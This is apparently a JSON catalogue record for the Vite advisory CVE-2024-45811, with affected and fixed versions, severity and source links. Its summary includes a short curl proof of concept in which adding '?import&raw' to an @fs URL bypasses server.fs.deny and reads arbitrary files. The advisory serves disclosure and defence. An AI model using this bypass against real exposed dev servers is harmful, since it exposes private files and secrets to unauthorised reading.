{ "canonical_id": "vite--CVE-2024-45811", "system_id": "vite", "display_name": "Vite", "category": "frameworks", "advisory_mode": "core", "title": "Vite's `server.fs.deny` is bypassed when using `?import&raw`", "summary": "### Summary\nThe contents of arbitrary files can be returned to the browser.\n\n### Details\n`@fs` denies access to files outside of Vite serving allow list. Adding `?import&raw` to the URL bypasses this limitation and returns the file content if it exists.\n\n### PoC\n```sh\n$ npm create vite@latest\n$ cd vite-project/\n$ npm install\n$ npm run dev\n\n$ echo \"top secret content\" > /tmp/secret.txt\n\n# expected behaviour\n$ curl \"http://localhost:5173/@fs/tmp/secret.txt\"\n\n \n

403 Restricted

\n

The request url "/tmp/secret.txt" is outside of Vite serving allow list.\n\n# security bypassed\n$ curl \"http://localhost:5173/@fs/tmp/secret.txt?import&raw\"\nexport default \"top secret content\\n\"\n//# sourceMappingURL=data:application/json;base64,eyJ2...\n```\n\n", "published_at": "2024-09-17T18:44:12Z", "updated_at": "2026-02-04T04:05:31.919291Z", "severity": "low", "cvss_score": 3.1, "exploit_status": "unknown", "source_confidence": "official", "official_source_url": "https://github.com/vitejs/vite/security/advisories/GHSA-9cwx-2883-4wfx", "secondary_source_urls": [ "https://nvd.nist.gov/vuln/detail/CVE-2024-45811", "https://github.com/vitejs/vite/commit/4573a6fd6f1b097fb7296a3e135e0646b996b249", "https://github.com/vitejs/vite/commit/6820bb3b9a54334f3268fc5ee1e967d2e1c0db34", "https://github.com/vitejs/vite/commit/8339d7408668686bae56eaccbfdc7b87612904bd", "https://github.com/vitejs/vite/commit/a6da45082b6e73ddfdcdcc06bb5414f976a388d6", "https://github.com/vitejs/vite/commit/b901438f99e667f76662840826eec91c8ab3b3e7", "https://github.com/vitejs/vite" ], "aliases": [ "CVE-2024-45811", "GHSA-9cwx-2883-4wfx" ], "cve_ids": [ "CVE-2024-45811" ], "ghsa_ids": [ "GHSA-9cwx-2883-4wfx" ], "osv_ids": [ "GHSA-9cwx-2883-4wfx" ], "affected_versions": [ "introduced=5.4.0, fixed<5.4.6", "introduced=5.3.0, fixed<5.3.6", "introduced=5.2.0, fixed<5.2.14", "introduced=4.0.0, fixed<4.5.4", "introduced=0, fixed<3.2.11", "introduced=5.0.0, fixed<5.1.8" ], "fixed_versions": [ "5.4.6", "5.3.6", "5.2.14", "4.5.4", "3.2.11", "5.1.8" ], "package_name": "vite", "render_markdown": true, "case_path": "07-framework-security/frameworks/vite/cases/vite-cve-2024-45811.md", "secure_code_topics": [ "dependency-upgrade-policy", "file-upload-validation", "proxy-trust-boundary" ], "status": "generated", "triage_reasons": [], "metadata": { "source_names": [ "OSV Vite" ], "source_kinds": [ "osv-batch" ], "candidate_count": 1 } }